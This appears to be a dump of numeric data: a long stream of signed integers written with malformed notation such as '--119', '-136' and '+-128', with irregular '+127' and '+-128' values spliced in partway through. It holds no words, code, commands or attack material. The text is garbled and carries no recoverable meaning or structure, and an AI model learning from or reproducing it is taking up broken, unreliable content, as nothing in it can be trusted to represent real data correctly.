--59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -26 --60 --119 --119 --119 --57 -68 -136 -136 -136 -83 --15 --92 --119 --119 --68 -55 -136 -136 -136 -67 --24 --89 --119 --119 --96 -47 -136 -136 -136 -59 --33 --92 --119 --119 --103 -40 -136 -136 -136 -57 --36 --96 --119 --119 --88 -37 -136 -136 -136 -53 --39 --99 --119 --119 --94 -34 -136 -136 -136 -54 --36 --101 --119 --119 --91 -33 -136 -121 -19 --69 --119 --119 --63 -45 -136 -115 -10 --72 --119 --119 --62 -51 -136 -119 -19 --68 --119 --119 --72 -57 -136 -124 -22 --65 --119 --119 --67 -58 -136 -126 -25 --62 --119 --119 --67 -61 -136 -129 -25 --62 --119 --119 --66 -63 -136 -131 -24 --59 --119 --119 --67 -58 -136 -132 -24 --60 --119 --119 --64 -64 -136 -136 -136 -56 --36 --95 --119 --119 --94 -51 -136 -136 -136 -69 --26 --90 --119 --119 --97 -44 -136 -136 -136 -62 --34 --94 --119 --119 --103 -40 -136 -136 -136 -56 --37 --97 --119 --119 --89 -36 -136 -136 -136 -53 --39 --99 --119 --119 --91 -35 -136 -136 -136 -55 --39 --99 --119 --119 --92 -35 -136 -136 -136 -55 --41 --98 --119 --119 --92 -32 -136 -136 -136 -51 --39 --100 --119 --119 --93 -34 -136 -136 -136 -51 --40 --100 --119 --119 --92 -32 -136 -136 -136 -50 --39 --99 --119 --119 --93 -33 -136 -136 -136 -51 --38 --100 --119 --119 --94 -33 -136 -136 -136 -52 --40 --101 --119 --119 --94 -33 -136 -136 -136 -53 --40 --101 --119 --119 --93 -32 -136 -122 -21 --69 --119 --119 --61 -48 -136 -113 -12 --73 --119 --119 --62 -49 -136 -119 -16 --68 --119 --119 --72 -53 -136 -123 -19 --67 --119 --119 --69 -58 -136 -127 -23 --63 --119 --119 --67 -62 -136 -130 -25 --62 --119 --119 --67 -62 -136 -131 -26 --61 --119 --119 --65 -64 -136 -131 -29 --62 --119 --119 --64 -64 -136 -132 -26 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -64 -136 -133 -26 --58 --119 --119 --65 -60 -136 -133 -25 --60 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --63 -63 -136 -130 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -62 -136 -131 -29 --57 --119 --119 --65 -63 -136 -130 -27 --59 --119 --119 --62 -62 -136 -132 -29 --61 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -130 -29 --58 --119 --119 --66 -60 -136 -132 -25 --59 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --61 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -25 --58 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --67 -62 -136 -130 -25 --58 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --65 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --64 -66 -136 -132 -29 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -26 --61 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -65 -136 -130 -30 --59 --119 --119 --67 -61 -136 -132 -26 --58 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -132 -30 --61 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -65 -136 -132 -30 --61 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -26 --57 --119 --119 --62 -62 -136 -128 -25 --59 --119 --119 --64 -63 -136 -132 -29 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -61 -136 -128 -25 --61 --119 --119 --67 -63 -136 -129 -25 --58 --119 --119 --64 -63 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --66 -63 -136 -130 -26 --58 --119 --119 --64 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --64 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --64 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -62 -136 -130 -27 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -26 --57 --119 --119 --62 -64 -136 -132 -29 --58 --119 --119 --62 -62 -136 -132 -30 --60 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --65 -65 -136 -132 -26 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -132 -29 --59 --119 --119 --62 -62 -136 -129 -26 --58 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --65 -62 -136 -132 -27 --61 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --65 -61 -136 -127 -24 --63 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --64 -65 -136 -132 -30 --60 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --62 -61 -136 -128 -25 --61 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --65 -62 -136 -128 -25 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -64 -136 -133 -29 --59 --119 --119 --62 -62 -136 -130 -28 --59 --119 --119 --63 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -130 -29 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --67 -60 -136 -133 -25 --60 --119 --119 --64 -64 -136 -131 -27 --59 --119 --119 --62 -62 -136 -133 -27 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -133 -27 --58 --119 --119 --61 -65 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -29 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -136 -136 -59 --35 --96 --119 --119 --93 -49 -136 -136 -136 -67 --27 --103 --119 --119 --98 -45 -136 -136 -136 -61 --33 --94 --119 --119 --103 -39 -136 -136 -136 -56 --35 --97 --119 --119 --89 -38 -136 -136 -136 -55 --37 --98 --119 --119 --91 -35 -136 -136 -136 -53 --40 --101 --119 --119 --92 -35 -136 -136 -136 -53 --39 --101 --119 --98 -25 -121 -93 --6 --88 --119 --119 --92 -38 -135 -109 -7 --61 --119 --119 --79 -48 -136 -118 -15 --70 --119 --119 --73 -54 -136 -123 -20 --66 --119 --119 --69 -59 -136 -126 -22 --64 --119 --119 --66 -58 -136 -125 -22 --64 --119 --119 --69 -61 -136 -127 -23 --60 --119 --119 --66 -63 -136 -130 -25 --61 --119 --119 --63 -63 -136 -131 -26 --60 --119 --119 --64 -64 -136 -131 -26 --61 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --64 -63 -136 -133 -27 --58 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -64 -136 -130 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --64 -65 -136 -133 -25 --58 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -66 -136 -134 -26 --58 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -66 -136 -131 -28 --59 --119 --119 --63 -62 -136 -130 -27 --57 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --61 -63 -136 -131 -29 --57 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --61 -63 -136 -131 -29 --59 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -132 -29 --61 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -26 --60 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -134 -26 --57 --119 --119 --119 --60 -68 -136 -136 -136 -85 --11 --93 --119 --119 --70 -57 -136 -136 -136 -70 --25 --88 --119 --119 --95 -46 -136 -136 -136 -62 --32 --94 --119 --119 --102 -41 -136 -136 -136 -58 --35 --97 --119 --119 --90 -40 -136 -136 -136 -56 --37 --98 --119 --119 --90 -36 -136 -136 -136 -52 --37 --98 --119 --97 -26 -120 -94 --5 --88 --119 --119 --92 -38 -134 -108 -7 --60 --119 --119 --78 -47 -136 -115 -13 --72 --119 --119 --77 -51 -136 -124 -18 --65 --119 --119 --69 -58 -136 -127 -23 --64 --119 --119 --66 -60 -136 -128 -25 --62 --119 --119 --65 -61 -136 -131 -26 --61 --119 --119 --64 -63 -136 -130 -25 --61 --119 --119 --66 -62 -136 -129 -25 --59 --119 --119 --62 -62 -136 -129 -25 --60 --119 --119 --67 -65 -136 -129 -26 --57 --119 --119 --66 -60 -136 -132 -24 --60 --119 --119 --63 -65 -136 -134 -27 --59 --119 --119 --62 -64 -136 -131 -26 --60 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --61 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --63 -62 -136 -133 -25 --58 --119 --119 --67 -61 -136 -133 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --61 -63 -136 -129 -25 --61 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --62 -62 -136 -128 -25 --62 --119 --119 --65 -62 -136 -129 -26 --62 --119 --119 --65 -63 -136 -134 -25 --57 --119 --119 --65 -63 -136 -132 -26 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -135 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --62 -62 -136 -131 -26 --61 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --61 --119 --119 --63 -64 -136 -134 -28 --60 --119 --119 --64 -63 -136 -131 -29 --59 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --65 -63 -136 -129 -25 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -134 -28 --59 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --64 -65 -136 -130 -29 --61 --119 --119 --65 -61 -136 -134 -25 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --119 --57 -71 -136 -136 -136 -84 --12 --93 --119 --119 --69 -56 -136 -136 -136 -70 --25 --88 --119 --119 --96 -48 -136 -136 -136 -61 --32 --94 --119 --119 --101 -40 -136 -136 -136 -57 --35 --95 --119 --119 --89 -38 -136 -136 -136 -55 --37 --98 --119 --119 --90 -35 -136 -136 -136 -53 --37 --98 --119 --119 --96 -33 -136 -136 -136 -53 --37 --102 --119 --119 --92 -32 -136 -136 -136 -51 --38 --101 --119 --119 --92 -34 -136 -136 -136 -52 --39 --101 --119 --119 --92 -34 -136 -136 -136 -53 --39 --101 --119 --119 --92 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -34 -136 -136 -136 -53 --39 --101 --119 --119 --94 -35 -136 -136 -136 -52 --41 --101 --119 --99 -24 -119 -91 --8 --90 --119 --119 --93 -35 -135 -107 -6 --60 --119 --119 --79 -45 -136 -113 -12 --72 --119 --119 --77 -53 -136 -120 -17 --65 --119 --119 --71 -57 -136 -127 -23 --64 --119 --119 --67 -61 -136 -128 -25 --61 --119 --119 --66 -62 -136 -129 -26 --61 --119 --119 --65 -63 -136 -130 -28 --60 --119 --119 --63 -61 -136 -132 -26 --60 --119 --119 --66 -62 -136 -130 -28 --59 --119 --119 --64 -63 -136 -131 -26 --61 --119 --119 --65 -62 -136 -128 -25 --59 --119 --119 --67 -63 -136 -130 -25 --58 --119 --119 --64 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --63 -63 -136 -132 -26 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -64 -136 -133 -27 --59 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --62 -62 -136 -129 -25 --58 --119 --119 --63 -62 -136 -129 -25 --62 --119 --119 --64 -65 -136 -133 -29 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -26 --59 --119 --119 --63 -63 -136 -133 -27 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --64 -65 -136 -132 -27 --59 --119 --119 --63 -63 -136 -131 -26 --59 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --119 --57 -69 -136 -136 -136 -83 --12 --91 --119 --119 --70 -55 -136 -136 -136 -68 --23 --89 --119 --119 --95 -47 -136 -136 -136 -63 --32 --94 --119 --119 --101 -41 -136 -136 -136 -57 --35 --97 --119 --119 --90 -40 -136 -136 -136 -55 --37 --99 --119 --119 --92 -37 -136 -136 -136 -54 --36 --101 --119 --119 --93 -36 -136 -123 -19 --66 --119 --119 --61 -50 -136 -113 -11 --74 --119 --119 --61 -50 -136 -120 -17 --68 --119 --119 --57 -55 -136 -125 -22 --66 --119 --119 --69 -60 -136 -125 -24 --61 --119 --119 --68 -62 -136 -130 -23 --60 --119 --119 --65 -63 -136 -130 -26 --60 --119 --119 --64 -62 -136 -131 -26 --61 --119 --119 --66 -62 -136 -131 -26 --59 --119 --119 --63 -61 -136 -132 -30 --61 --119 --119 --63 -64 -136 -130 -27 --59 --119 --119 --62 -61 -136 -128 -25 --61 --119 --119 --66 -61 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -62 -136 -129 -26 --62 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -29 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --61 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -65 -136 -129 -27 --57 --119 --119 --64 -64 -136 -133 -27 --59 --119 --119 --65 -64 -136 -130 -27 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -27 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --61 --119 --119 --66 -60 -136 -132 -26 --61 --119 --119 --66 -59 -136 -133 -25 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -62 -136 -131 -29 --59 --119 --119 --66 -61 -136 -131 -26 --57 --119 --119 --65 -65 -136 -133 -29 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --61 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -64 -136 -133 -26 --59 --119 --119 --62 -64 -136 -131 -28 --60 --119 --119 --63 -64 -136 -134 -26 --57 --119 --119 --62 -62 -136 -129 -25 --59 --119 --119 --67 -63 -136 -130 -27 --57 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -65 -136 -132 -29 --59 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --63 -65 -136 -131 -28 --58 --119 --119 --64 -65 -136 -131 -28 --59 --119 --119 --62 -64 -136 -136 -136 -59 --34 --96 --119 --119 --93 -51 -136 -136 -136 -69 --26 --89 --119 --119 --99 -46 -136 -136 -136 -61 --33 --95 --119 --119 --88 -40 -136 -136 -136 -59 --38 --95 --119 --119 --91 -38 -136 -136 -136 -55 --37 --99 --119 --119 --91 -35 -136 -136 -136 -51 --40 --98 --119 --119 --92 -32 -136 -136 -136 -51 --40 --99 --119 --99 -25 -121 -92 --7 --88 --119 --119 --92 -37 -134 -108 -7 --61 --119 --119 --80 -49 -136 -119 -13 --68 --119 --119 --75 -55 -136 -121 -19 --66 --119 --119 --69 -55 -136 -122 -20 --65 --119 --119 --71 -60 -136 -126 -23 --60 --119 --119 --68 -59 -136 -127 -24 --63 --119 --119 --68 -59 -136 -131 -23 --61 --119 --119 --119 --62 -68 -136 -136 -136 -84 --11 --93 --119 --119 --70 -57 -136 -136 -136 -69 --25 --88 --119 --119 --96 -47 -136 -136 -136 -62 --31 --93 --119 --119 --101 -41 -136 -136 -136 -57 --36 --98 --119 --119 --89 -37 -136 -136 -136 -55 --38 --99 --119 --119 --91 -36 -136 -136 -136 -54 --37 --99 --119 --96 -25 -120 -92 --4 --71 --119 --119 --94 -35 -136 -110 -6 --58 --119 --119 --80 -48 -136 -118 -15 --71 --119 --119 --73 -54 -136 -123 -20 --67 --119 --119 --70 -58 -136 -126 -25 --65 --119 --119 --66 -60 -136 -129 -24 --62 --119 --119 --65 -61 -136 -130 -25 --61 --119 --119 --64 -61 -136 -131 -26 --61 --119 --119 --65 -64 -136 -133 -26 --58 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --61 --119 --119 --64 -65 -136 -130 -29 --57 --119 --119 --65 -63 -136 -131 -29 --59 --119 --119 --64 -65 -136 -131 -28 --59 --119 --119 --63 -63 -136 -131 -26 --59 --119 --119 --62 -62 -136 -133 -29 --60 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --61 -63 -136 -132 -26 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --65 -64 -136 -133 -28 --59 --119 --119 --62 -65 -136 -132 -27 --59 --119 --119 --63 -65 -136 -134 -26 --58 --119 --119 --61 -63 -136 -131 -26 --59 --119 --119 --63 -62 -136 -130 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -62 -136 -129 -27 --57 --119 --119 --65 -63 -136 -131 -27 --60 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --63 -64 -136 -133 -28 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -66 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --64 -66 -136 -132 -30 --60 --119 --119 --64 -65 -136 -131 -26 --60 --119 --119 --63 -64 -136 -133 -28 --60 --119 --119 --62 -62 -136 -132 -30 --61 --119 --119 --65 -61 -136 -128 -25 --62 --119 --119 --67 -63 -136 -131 -25 --57 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --119 --57 -71 -136 -136 -136 -85 --13 --93 --119 --119 --69 -57 -136 -136 -136 -72 --25 --88 --119 --119 --96 -48 -136 -136 -136 -62 --31 --93 --119 --119 --101 -41 -136 -136 -136 -58 --35 --96 --119 --119 --89 -39 -136 -136 -136 -55 --37 --99 --119 --119 --91 -36 -136 -136 -136 -54 --38 --99 --119 --119 --92 -35 -136 -136 -136 -53 --40 --100 --119 --119 --92 -34 -136 -136 -136 -51 --39 --100 --119 --119 --92 -32 -136 -136 -136 -50 --41 --99 --119 --119 --95 -34 -136 -136 -136 -52 --40 --101 --119 --119 --95 -35 -136 -136 -136 -53 --40 --101 --119 --119 --94 -35 -136 -136 -136 -53 --40 --101 --119 --119 --93 -34 -136 -136 -136 -52 --40 --101 --119 --100 -25 -118 -89 --7 --89 --119 --119 --92 -36 -136 -108 -6 --60 --119 --119 --79 -47 -136 -119 -14 --69 --119 --119 --75 -54 -136 -123 -19 --65 --119 --119 --69 -57 -136 -127 -23 --64 --119 --119 --66 -60 -136 -129 -24 --62 --119 --119 --66 -63 -136 -129 -25 --61 --119 --119 --64 -61 -136 -131 -27 --60 --119 --119 --64 -62 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -62 -136 -133 -28 --59 --119 --119 --62 -62 -136 -131 -29 --58 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -134 -27 --58 --119 --119 --64 -66 -136 -132 -29 --59 --119 --119 --64 -65 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -27 --61 --119 --119 --64 -65 -136 -131 -29 --60 --119 --119 --67 -62 -136 -132 -25 --58 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -66 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --65 -61 -136 -133 -25 --60 --119 --119 --61 -62 -136 -129 -25 --61 --119 --119 --65 -62 -136 -128 -25 --62 --119 --119 --65 -63 -136 -133 -26 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -64 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -63 -136 -132 -27 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --62 -63 -136 -131 -28 --59 --119 --119 --63 -64 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -26 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --119 --58 -69 -136 -136 -136 -84 --13 --92 --119 --119 --67 -56 -136 -136 -136 -71 --24 +-128 +-128 -104 --119 --119 --94 -47 -136 -136 -136 -63 --31 --93 --119 --119 +38 +127 +127 +127 +55 +-40 -102 -41 -136 -136 -136 -59 --34 --96 --119 --119 --89 -40 -136 -136 -136 -56 --37 --98 --119 --119 --91 -36 -136 -136 -136 -54 --39 --98 --119 --119 --92 -34 -136 -136 -136 -52 --40 --101 --119 --119 --92 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -136 -136 -49 --42 --100 --119 --119 --93 +-128 +-128 +-110 32 -136 -136 -136 -51 --40 --101 --119 --119 --93 -33 -136 -136 -136 -53 --39 --102 --119 --119 --93 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -136 -136 -53 --39 --100 --119 --119 --94 -34 -136 -136 -136 -52 --40 --102 --119 --119 --95 -35 -136 -136 -136 -51 --41 --102 --119 --119 --94 -33 -136 -136 -136 -52 --41 --100 --119 --119 --92 -32 -136 -136 -136 -51 --41 --100 --119 --119 --93 -31 -136 -136 -136 +127 +127 +127 50 --41 --99 --119 --119 --97 +-43 +-105 +-128 +-128 +-98 31 -136 -136 -136 -53 --39 --101 --119 --102 -21 -119 -92 --10 --91 --119 --119 --93 -38 -133 -109 -8 --60 --119 --119 --79 -49 -136 -118 -15 --70 --119 --119 --75 -55 -136 -124 -21 --66 --119 --119 --71 -57 -136 127 -23 --64 --119 --119 --67 -61 -136 -128 -25 --61 --119 --119 --66 -63 -136 -129 -27 --61 --119 --119 --65 -63 -136 -130 -26 --61 --119 --119 --66 -61 -136 -131 -26 --62 --119 --119 --67 -61 -136 -129 -24 --59 --119 --119 --64 -64 -136 -131 -26 --61 --119 --119 --64 -64 -136 -134 -26 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --61 -63 -136 -131 -29 --58 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -26 --61 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -26 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -26 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --119 --57 -70 -136 -136 -136 -84 --13 --94 --119 --119 --70 -57 -136 -136 -136 -70 --25 --89 --119 --119 --97 -46 -136 -136 -136 -61 --33 --92 --119 --119 --103 -42 -136 -136 -136 -58 --36 --97 --119 --119 --89 -38 -136 -136 -136 -56 --36 --97 --119 --119 --91 -36 -136 -136 -136 -54 --39 --100 --119 --119 --92 -35 -136 -122 -19 --66 --119 --119 --59 +127 +127 47 -136 -114 -12 --73 --119 --119 --64 -48 -136 -118 -16 --71 --119 --119 --58 -53 -136 -125 -20 --67 --119 --119 --72 -59 -136 -124 -22 --61 --119 --119 --67 -61 -136 -127 -24 --61 --119 --119 --65 -61 -136 -130 -26 --61 --119 --119 --64 -61 -136 -131 -27 --61 --119 --119 --63 -62 -136 -131 -27 --60 --119 --119 --63 -61 -136 -127 -25 --61 --119 --119 --67 -66 -136 -129 -27 --58 --119 --119 --65 -64 -136 -130 -27 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -62 -136 -128 -25 --61 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -30 --61 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -134 -28 --60 --119 --119 --63 -64 -136 -133 -30 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -65 -136 -133 -28 --61 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --66 -61 -136 -132 -25 --58 --119 --119 --64 -63 -136 -132 -29 --59 --119 --119 --63 -62 -136 -133 -26 --58 --119 --119 --65 -61 -136 -131 -26 --62 --119 --119 --67 -64 -136 -129 -26 --58 --119 --119 --64 -64 -136 -132 -28 --60 --119 --119 --63 -65 -136 -132 -29 --59 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --64 -65 -136 -132 -29 --59 --119 --119 --62 